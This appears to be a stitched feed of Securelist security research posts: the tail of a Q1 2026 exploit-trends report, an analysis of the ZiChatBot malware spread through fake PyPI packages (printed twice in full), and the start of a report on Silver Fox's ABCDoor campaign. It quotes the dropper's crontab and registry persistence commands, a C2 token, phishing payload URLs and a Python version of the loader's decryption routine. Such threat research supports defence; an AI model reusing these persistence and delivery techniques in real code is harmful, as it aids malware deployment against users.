CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system
CVE-2023-38831: a vulnerability resulting from the improper handling of objects contained within an archive
CVE-2025-6218: a vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution
CVE-2025-8088: a directory traversal bypass vulnerability during file extraction utilizing NTFS Streams

Among the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:

CVE-2026-21509 and CVE-2026-21514: security feature bypass vulnerabilities: despite Protected View being enabled, a specially crafted file can still execute malicious code without the user’s knowledge. Malicious commands are executed on the victim’s system with the privileges of the user who opened the file.
CVE-2026-21513: a vulnerability in the Internet Explorer MSHTML engine, which is used to open websites and render HTML markup. The vulnerability involves bypassing rules that restrict the execution of files from untrusted network sources. Interestingly, the data provider for this vulnerability was an LNK file.

These three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.

Below is the trend of exploit detections on user Windows systems starting from Q1 2025.

Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.

On Linux devices, exploits for the following vulnerabilities were detected most frequently:

CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications
CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem
CVE-2023-32233: a vulnerability in the Netfilter subsystem that allows for Use-After-Free conditions and privilege escalation through the improper processing of network requests

Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

In the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.

Most common published exploits

The distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.

Distribution of published exploits by platform, Q1 2026 (download)

Vulnerability exploitation in APT attacks

We analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.

TOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)

In Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.

C2 frameworks

In this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.

The chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.

TOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)

Metasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:

CVE-2023-46604: an insecure deserialization vulnerability allowing for arbitrary code execution within the server process context if the Apache ActiveMQ service is running
CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication
CVE-2023-36884: a vulnerability in the Windows Search component that enables command execution on the system, bypassing security mechanisms built into Microsoft Office applications
CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server
CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities that allow files to be extracted from an archive to a predefined path, potentially without the archiving utility displaying any alerts to the user

The nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.

Notable vulnerabilities

This section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.

CVE-2026-21519: Desktop Window Manager vulnerability

At the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.

It is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.

RegPwn (CVE-2026-21533): a system settings access control vulnerability

CVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.

CVE-2026-21514: a Microsoft Office vulnerability

This vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.

Clawdbot (CVE-2026-25253): an OpenClaw vulnerability

This vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.

CVE-2026-34070: LangChain framework vulnerability

LangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.

CVE-2026-22812: an OpenCode vulnerability

CVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.

Conclusion and advice

We observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.

To ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity.

Securelist
OceanLotus suspected of using PyPI to deliver ZiChatBot malware 6 May 2026 at 15:00

OceanLotus suspected of using PyPI to deliver ZiChatBot malware

Securelist

By: GReAT

6 May 2026 at 15:00

Introduction

Through our daily threat hunting, we noticed that, beginning in July 2025, a series of malicious wheel packages were uploaded to PyPI (the Python Package Index). We shared this information with the public security community, and the malware was removed from the repository. We submitted the samples to Kaspersky Threat Attribution Engine (KTAE) for analysis. Based on the results, we believe the packages may be linked to malware discussed in a Threat Intelligence report on OceanLotus.

While these wheel packages do implement the features described on their PyPI web pages, their true purpose is to covertly deliver malicious files. These files can be either .DLL or .SO (Linux shared library), indicating the packages’ ability to target both Windows and Linux platforms. They function as droppers, delivering the final payload – a previously unknown malware family that we have named ZiChatBot. Unlike traditional malware, ZiChatBot does not communicate with a dedicated command and control (C2) server, but instead uses a series of REST APIs from the public team chat app Zulip as its C2 infrastructure.

To conceal the malicious package containing ZiChatBot, the attacker created another benign-looking package that included the malicious package as a dependency. Based on these facts, we confirm that this campaign is a carefully planned and executed PyPI supply chain attack.

Technical details

Spreading

The attacker created three projects on PyPI and uploaded malicious wheel packages designed to imitate popular libraries, tricking users into downloading them. This is a clear example of a supply chain attack via PyPI. See below for detailed information about the fake libraries and their corresponding wheel packages.

Malicious wheel packages

The packages added by the attacker and listed on PyPI’s download pages are:

uuid32-utils library for generating a 32-character random string as a UUID
colorinal library for implementing cross-platform color terminal text
termncolor library for ANSI color format for terminal output

The key metadata for these packages are as follows:

Pip install command	File name	First upload date	Author / Email
pip install uuid32-utils	uuid32_utils-1.x.x-py3-none-[OS platform].whl	2025-07-16	laz** / laz**@tutamail.com
pip install colorinal	colorinal-0.1.7-py3-none-[OS platform].whl	2025-07-22	sym** / sym**@proton.me
pip install termncolor	termncolor-3.1.0-py3-none-any.whl	2025-07-22	sym** / sym**@proton.me

Based on the distribution information on the PyPI web page, we can see that it offers X86 and X64 versions for Windows, as well as an x86_64 version for Linux. The colorinal project, for example, provides the following download options:

Distribution information of the colorinal project

Initial infection

The uuid32-utils and colorinal libraries employ similar infection chains and malicious payloads. As a result, this analysis will focus on the colorinal library as a representative example.

A quick look at the code of the third library, termncolor, reveals no apparent malicious content. However, it imports the malicious colorinal library as a dependency. This method allows attackers to deeply conceal malware, making the termncolor library appear harmless when distributing it or luring targets.

The termncolor library imports the malicious colorinal library

During the initial infection stage, the Python code is nearly identical across both Windows and Linux platforms. Here, we analyze the Windows version as an example.

Windows version

Once a Python user downloads and installs the colorinal-0.1.7-py3-none-win_amd64.whl wheel package file, or installs it using the pip tool, the ZiChatBot’s dropper (a file named terminate.dll) will be extracted from the wheel package and placed on the victim’s hard drive.

After that, if the colorinal library is imported into the victim’s project, the Python script file at [Python library installation path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\__init__.py will be executed first.

The __init__.py script imports the malicious file unicode.py

This Python script imports and executes another script located at [python library install path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\unicode.py. The is_color_supported() function in unicode.py is called immediately.

The code loads the dropper into the host Python process

The comment in the is_color_supported() function states that the highlighted code checks whether the user’s terminal environment supports color. The code actually loads the terminate.dll file into the Python process and then invokes the DLL’s exported function envir, passing the UTF-8-encoded string xterminalunicod as a parameter. The DLL acts as a dropper, delivering the final payload, ZiChatBot, and then self-deleting. At the end of the is_color_supported() function, the unicode.py script file is also removed. These steps eliminate all malicious files in the library and deploy ZiChatBot.
For the Linux platform, the wheel package and the unicode.py Python script are nearly identical to the Windows version. The only difference is that the dropper file is named “terminate.so”.

Dropper for ZiChatBot

From the previous analysis, we learned that the dropper is loaded into the host Python process by a Python script and then activated. The main logic of the dropper is implemented in the envir export function to achieve three objectives:

Deploy ZiChatBot.
Establish an auto-run mechanism.
Execute shellcode to remove the dropper file (terminate.dll) and the malicious script file from the installed library folder.

The dropper first decrypts sensitive strings using AES in CBC mode. The key is the string-type parameter “xterminalunicode” of the exported function. The decrypted strings are “libcef.dll”, “vcpacket”, “pkt-update”, and “vcpktsvr.exe”.

Next, the malware uses the same algorithm to decrypt the embedded data related to ZiChatBot. It then decompresses the decrypted data with LZMA to retrieve the files vcpktsvr.exe and libcef.dll associated with ZiChatBot. The malware creates a folder named vcpacket in the system directory %LOCALAPPDATA%, and places these files into it.

To establish persistence for ZiChatBot, the dropper creates the following auto-run entry in the registry:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"pkt-update"="C:\Users\[User name]\AppData\Local\vcpacket\vcpktsvr.exe"

Once preparations are complete, the malware uses the XOR algorithm to decrypt the embedded shellcode with the three-byte key 3a7. It then searches the decrypted shellcode’s memory for the string Policy.dllcppage.dll and replaces it with its own file name, terminate.dll, and redirects execution to the shellcode’s memory space.

The shellcode employs a djb2-like hash method to calculate the names of certain APIs and locate their addresses. Using these APIs, it finds the dropper file with the name terminate.dll that was previously passed by the DLL before unloading and deleting it.

Linux version

The Linux version of the dropper places ZiChatBot in the path /tmp/obsHub/obs-check-update and then creates an auto-run job using crontab. Unlike the Windows version, the Linux version of ZiChatBot only consists of one ELF executable file.

system("chmod +x /tmp/obsHub/obs-check-update") 
system("echo \"5 * * * * /tmp/obsHub/obs-check-update" | crontab - ")

ZiChatBot

The Windows version of ZiChatBot is a DLL file (libcef.dll) that is loaded by the legitimate executable vcpktsvr.exe (hash: 48be833b0b0ca1ad3cf99c66dc89c3f4). The DLL contains several export functions, with the malicious code implemented in the cef_api_mash export. Once the DLL is loaded, this function is invoked by the EXE file. ZiChatBot uses the REST APIs from Zulip, a public team chat application, as its command and control server.

ZiChatBot is capable of executing shellcode received from the server and only supports this one control command. Once it runs, it initiates a series of sequential HTTP requests to the Zulip REST API.

In each HTTP request, an API authentication token is included as an HTTP header for server-side authentication, as shown below.

// Auth token:
TW9yaWFuLWJvdEBoZWxwZXIuenVsaXBjaGF0LmNvbTpVOFJFWGxJNktmOHFYQjlyUXpPUEJpSUE0YnJKNThxRw==

// Decoded Auth token
Morian-bot@helper.zulipchat.com:U8REXlI6Kf8qXB9rQzOPBiIA4brJ58qG

ZiChatBot utilizes two separate channel-topic pairs for its operations. One pair transmits current system information, and the other retrieves a message containing shellcode. Once the shellcode is received, a new thread is created to execute it. After executing the command, a heart emoji is sent in response to the original message to indicate the execution was successful.

Infrastructure

We did not find any traditional infrastructure, such as compromised servers or commercial VPS services and their associated IPs and domains. Instead, the malicious wheel packages were uploaded to the Python Package Index (PyPI), a public, shared Python library. The malware, ZiChatBot, leverages Zulip’s public team chat REST APIs as its command and control server.

The “helper” organization that the attacker had registered on the Zulip service has now been officially deactivated by Zulip. However, infected devices may still attempt to connect to the service, so to help you locate and cure them, we recommend adding the full URL helper.zulipchat.com to your denylist.

Victims

The malware was uploaded in July 2025. Upon discovering these attacks, we quickly released an update for our product to detect the relevant files and shared the necessary information with the public security community. As a result, the malicious software was swiftly removed from PyPI, and the organization registered on the Zulip service was officially deactivated. To date, we have not observed any infections based on our telemetry or public reports.

Zulip has officially deactivated the “helper” organization

Attribution

Based on the results from our KTAE system, the dropper used by ZiChatBot shows a 64% similarity to another dropper we analyzed in a TI report, which was linked to OceanLotus. Reverse engineering shows that both droppers use nearly identical algorithms and logic for to decrypt and decompress their embedded payloads.

Analysis results of dropper using KTAE system

Conclusions

As an active APT organization, OceanLotus primarily targets victims in the Asia-Pacific region. However, our previous reports have highlighted a growing trend of the group expanding its activities into the Middle East. Moreover, the attacks described in this report – executed through PyPI – target Python users worldwide. This demonstrates OceanLotus’s ongoing effort to broaden its attack scope.

In the first half of 2025, a public report revealed that the group launched a phishing campaign using GitHub. The recent PyPI-based supply chain attack likely continues this strategy. Although phishing emails are still a common initial infection method for OceanLotus, the group is also actively exploring new ways to compromise victims through diverse supply chain attacks.

Indicators of compromise

Additional information about this activity, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

Malicious wheel packages
termncolor-3.1.0-py3-none-any.whl
5152410aeef667ffaf42d40746af4d84

uuid32_utils-1.x.x-py3-none-xxxx.whl
0a5a06fa2e74a57fd5ed8e85f04a483a
e4a0ad38fd18a0e11199d1c52751908b
5598baa59c716590d8841c6312d8349e
968782b4feb4236858e3253f77ecf4b0
b55b6e364be44f27e3fecdce5ad69eca
02f4701559fc40067e69bb426776a54f
e200f2f6a2120286f9056743bc94a49d
22538214a3c917ff3b13a9e2035ca521

colorinal-0.1.7-py3-none-xxxx.whl
ba2f1868f2af9e191ebf47a5fab5cbab

Dropper for ZiChatBot
Backward.dll
c33782c94c29dd268a42cbe03542bca5
454b85dc32dc8023cd2be04e4501f16a

Backward.so
fce65c540d8186d9506e2f84c38a57c4
652f4da6c467838957de19eed40d39da

terminate.dll
1995682d600e329b7833003a01609252

terminate.so
38b75af6cbdb60127decd59140d10640

ZiChatBot
libcef.dll
a26019b68ef060e593b8651262cbd0f6

Securelist
OceanLotus suspected of using PyPI to deliver ZiChatBot malware 6 May 2026 at 15:00

OceanLotus suspected of using PyPI to deliver ZiChatBot malware

Securelist

By: GReAT

6 May 2026 at 15:00

Introduction

Through our daily threat hunting, we noticed that, beginning in July 2025, a series of malicious wheel packages were uploaded to PyPI (the Python Package Index). We shared this information with the public security community, and the malware was removed from the repository. We submitted the samples to Kaspersky Threat Attribution Engine (KTAE) for analysis. Based on the results, we believe the packages may be linked to malware discussed in a Threat Intelligence report on OceanLotus.

While these wheel packages do implement the features described on their PyPI web pages, their true purpose is to covertly deliver malicious files. These files can be either .DLL or .SO (Linux shared library), indicating the packages’ ability to target both Windows and Linux platforms. They function as droppers, delivering the final payload – a previously unknown malware family that we have named ZiChatBot. Unlike traditional malware, ZiChatBot does not communicate with a dedicated command and control (C2) server, but instead uses a series of REST APIs from the public team chat app Zulip as its C2 infrastructure.

To conceal the malicious package containing ZiChatBot, the attacker created another benign-looking package that included the malicious package as a dependency. Based on these facts, we confirm that this campaign is a carefully planned and executed PyPI supply chain attack.

Technical details

Spreading

The attacker created three projects on PyPI and uploaded malicious wheel packages designed to imitate popular libraries, tricking users into downloading them. This is a clear example of a supply chain attack via PyPI. See below for detailed information about the fake libraries and their corresponding wheel packages.

Malicious wheel packages

The packages added by the attacker and listed on PyPI’s download pages are:

uuid32-utils library for generating a 32-character random string as a UUID
colorinal library for implementing cross-platform color terminal text
termncolor library for ANSI color format for terminal output

The key metadata for these packages are as follows:

Pip install command	File name	First upload date	Author / Email
pip install uuid32-utils	uuid32_utils-1.x.x-py3-none-[OS platform].whl	2025-07-16	laz** / laz**@tutamail.com
pip install colorinal	colorinal-0.1.7-py3-none-[OS platform].whl	2025-07-22	sym** / sym**@proton.me
pip install termncolor	termncolor-3.1.0-py3-none-any.whl	2025-07-22	sym** / sym**@proton.me

Based on the distribution information on the PyPI web page, we can see that it offers X86 and X64 versions for Windows, as well as an x86_64 version for Linux. The colorinal project, for example, provides the following download options:

Distribution information of the colorinal project

Initial infection

The uuid32-utils and colorinal libraries employ similar infection chains and malicious payloads. As a result, this analysis will focus on the colorinal library as a representative example.

A quick look at the code of the third library, termncolor, reveals no apparent malicious content. However, it imports the malicious colorinal library as a dependency. This method allows attackers to deeply conceal malware, making the termncolor library appear harmless when distributing it or luring targets.

The termncolor library imports the malicious colorinal library

During the initial infection stage, the Python code is nearly identical across both Windows and Linux platforms. Here, we analyze the Windows version as an example.

Windows version

Once a Python user downloads and installs the colorinal-0.1.7-py3-none-win_amd64.whl wheel package file, or installs it using the pip tool, the ZiChatBot’s dropper (a file named terminate.dll) will be extracted from the wheel package and placed on the victim’s hard drive.

After that, if the colorinal library is imported into the victim’s project, the Python script file at [Python library installation path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\__init__.py will be executed first.

The __init__.py script imports the malicious file unicode.py

This Python script imports and executes another script located at [python library install path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\unicode.py. The is_color_supported() function in unicode.py is called immediately.

The code loads the dropper into the host Python process

The comment in the is_color_supported() function states that the highlighted code checks whether the user’s terminal environment supports color. The code actually loads the terminate.dll file into the Python process and then invokes the DLL’s exported function envir, passing the UTF-8-encoded string xterminalunicod as a parameter. The DLL acts as a dropper, delivering the final payload, ZiChatBot, and then self-deleting. At the end of the is_color_supported() function, the unicode.py script file is also removed. These steps eliminate all malicious files in the library and deploy ZiChatBot.
For the Linux platform, the wheel package and the unicode.py Python script are nearly identical to the Windows version. The only difference is that the dropper file is named “terminate.so”.

Dropper for ZiChatBot

From the previous analysis, we learned that the dropper is loaded into the host Python process by a Python script and then activated. The main logic of the dropper is implemented in the envir export function to achieve three objectives:

Deploy ZiChatBot.
Establish an auto-run mechanism.
Execute shellcode to remove the dropper file (terminate.dll) and the malicious script file from the installed library folder.

The dropper first decrypts sensitive strings using AES in CBC mode. The key is the string-type parameter “xterminalunicode” of the exported function. The decrypted strings are “libcef.dll”, “vcpacket”, “pkt-update”, and “vcpktsvr.exe”.

Next, the malware uses the same algorithm to decrypt the embedded data related to ZiChatBot. It then decompresses the decrypted data with LZMA to retrieve the files vcpktsvr.exe and libcef.dll associated with ZiChatBot. The malware creates a folder named vcpacket in the system directory %LOCALAPPDATA%, and places these files into it.

To establish persistence for ZiChatBot, the dropper creates the following auto-run entry in the registry:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"pkt-update"="C:\Users\[User name]\AppData\Local\vcpacket\vcpktsvr.exe"

Once preparations are complete, the malware uses the XOR algorithm to decrypt the embedded shellcode with the three-byte key 3a7. It then searches the decrypted shellcode’s memory for the string Policy.dllcppage.dll and replaces it with its own file name, terminate.dll, and redirects execution to the shellcode’s memory space.

The shellcode employs a djb2-like hash method to calculate the names of certain APIs and locate their addresses. Using these APIs, it finds the dropper file with the name terminate.dll that was previously passed by the DLL before unloading and deleting it.

Linux version

The Linux version of the dropper places ZiChatBot in the path /tmp/obsHub/obs-check-update and then creates an auto-run job using crontab. Unlike the Windows version, the Linux version of ZiChatBot only consists of one ELF executable file.

system("chmod +x /tmp/obsHub/obs-check-update") 
system("echo \"5 * * * * /tmp/obsHub/obs-check-update" | crontab - ")

ZiChatBot

The Windows version of ZiChatBot is a DLL file (libcef.dll) that is loaded by the legitimate executable vcpktsvr.exe (hash: 48be833b0b0ca1ad3cf99c66dc89c3f4). The DLL contains several export functions, with the malicious code implemented in the cef_api_mash export. Once the DLL is loaded, this function is invoked by the EXE file. ZiChatBot uses the REST APIs from Zulip, a public team chat application, as its command and control server.

ZiChatBot is capable of executing shellcode received from the server and only supports this one control command. Once it runs, it initiates a series of sequential HTTP requests to the Zulip REST API.

In each HTTP request, an API authentication token is included as an HTTP header for server-side authentication, as shown below.

// Auth token:
TW9yaWFuLWJvdEBoZWxwZXIuenVsaXBjaGF0LmNvbTpVOFJFWGxJNktmOHFYQjlyUXpPUEJpSUE0YnJKNThxRw==

// Decoded Auth token
Morian-bot@helper.zulipchat.com:U8REXlI6Kf8qXB9rQzOPBiIA4brJ58qG

ZiChatBot utilizes two separate channel-topic pairs for its operations. One pair transmits current system information, and the other retrieves a message containing shellcode. Once the shellcode is received, a new thread is created to execute it. After executing the command, a heart emoji is sent in response to the original message to indicate the execution was successful.

Infrastructure

We did not find any traditional infrastructure, such as compromised servers or commercial VPS services and their associated IPs and domains. Instead, the malicious wheel packages were uploaded to the Python Package Index (PyPI), a public, shared Python library. The malware, ZiChatBot, leverages Zulip’s public team chat REST APIs as its command and control server.

The “helper” organization that the attacker had registered on the Zulip service has now been officially deactivated by Zulip. However, infected devices may still attempt to connect to the service, so to help you locate and cure them, we recommend adding the full URL helper.zulipchat.com to your denylist.

Victims

The malware was uploaded in July 2025. Upon discovering these attacks, we quickly released an update for our product to detect the relevant files and shared the necessary information with the public security community. As a result, the malicious software was swiftly removed from PyPI, and the organization registered on the Zulip service was officially deactivated. To date, we have not observed any infections based on our telemetry or public reports.

Zulip has officially deactivated the “helper” organization

Attribution

Based on the results from our KTAE system, the dropper used by ZiChatBot shows a 64% similarity to another dropper we analyzed in a TI report, which was linked to OceanLotus. Reverse engineering shows that both droppers use nearly identical algorithms and logic for to decrypt and decompress their embedded payloads.

Analysis results of dropper using KTAE system

Conclusions

As an active APT organization, OceanLotus primarily targets victims in the Asia-Pacific region. However, our previous reports have highlighted a growing trend of the group expanding its activities into the Middle East. Moreover, the attacks described in this report – executed through PyPI – target Python users worldwide. This demonstrates OceanLotus’s ongoing effort to broaden its attack scope.

In the first half of 2025, a public report revealed that the group launched a phishing campaign using GitHub. The recent PyPI-based supply chain attack likely continues this strategy. Although phishing emails are still a common initial infection method for OceanLotus, the group is also actively exploring new ways to compromise victims through diverse supply chain attacks.

Indicators of compromise

Additional information about this activity, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

Malicious wheel packages
termncolor-3.1.0-py3-none-any.whl
5152410aeef667ffaf42d40746af4d84

uuid32_utils-1.x.x-py3-none-xxxx.whl
0a5a06fa2e74a57fd5ed8e85f04a483a
e4a0ad38fd18a0e11199d1c52751908b
5598baa59c716590d8841c6312d8349e
968782b4feb4236858e3253f77ecf4b0
b55b6e364be44f27e3fecdce5ad69eca
02f4701559fc40067e69bb426776a54f
e200f2f6a2120286f9056743bc94a49d
22538214a3c917ff3b13a9e2035ca521

colorinal-0.1.7-py3-none-xxxx.whl
ba2f1868f2af9e191ebf47a5fab5cbab

Dropper for ZiChatBot
Backward.dll
c33782c94c29dd268a42cbe03542bca5
454b85dc32dc8023cd2be04e4501f16a

Backward.so
fce65c540d8186d9506e2f84c38a57c4
652f4da6c467838957de19eed40d39da

terminate.dll
1995682d600e329b7833003a01609252

terminate.so
38b75af6cbdb60127decd59140d10640

ZiChatBot
libcef.dll
a26019b68ef060e593b8651262cbd0f6

Securelist
Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India 30 April 2026 at 09:00

Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India

Securelist

By: Anton Kargin · Vladimir Gursky · Victoria Vlasova · Anna Lazaricheva

30 April 2026 at 09:00

In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.

Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.

During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.

Email campaign

In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.

Phishing email sent to victims in Russia

The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.

Contents of the PDF file from the January phishing wave

Contents of the фнс.zip archive

In the December campaign, the malicious code was embedded directly within the files attached to the email.

Phishing email sent to victims in India

The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).

Contents of ITD.-.rar

Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).

PDF file from the phishing email

Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.

RustSL loader

The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:

Screenshot of the description from the RustSL loader GitHub project

The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:

Eight payload encryption methods
Thirteen memory allocation methods
Twelve sandbox and virtual machine detection techniques
Thirteen payload execution methods
Five payload encoding methods

Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.

The Silver Fox APT group first began using a modified version of RustSL in late December 2025.

Silver Fox RustSL

This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.

The steganography.rs module

The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.

The usage of the new module within the Silver Fox RustSL code

The threat actors also modified the RustSL builder to support the new format and payload packing.

The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.

Encrypted malicious payload format

The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:

<RSL_START>rsl_encrypted_payload<RSL_END>

If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.

The rsl_encrypted_payload followed this specific format:

char sha256_hash[32]; // decrypted payload hash
DWORD enc_payload_len;
WORD sgn_decoder_size;
char sgn_iterations;
char sgn_key;
char decoder[sgn_decoder_size];
char enc_payload[enc_payload_len];

Below is a description of the data blocks contained within it:

sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
enc_payload_len: the size of the encrypted payload
sgn_iterations and sgn_key: parameters used for decryption
sgn_decoder_size and decoder: unused fields
enc_payload: the primary payload

Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.

To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:

def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
    buf = bytearray(data)
    xor_key = sgn_key & 0xFF

    for _ in range(sgn_iterations):
        k = xor_key
        for i in range(len(buf)):
            dec = buf[i] ^ k

            if k & 1:
                k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
            else:
                k = (dec ^ (k >> 1)) & 0xFF

            buf[i] = dec

    return bytes(buf)

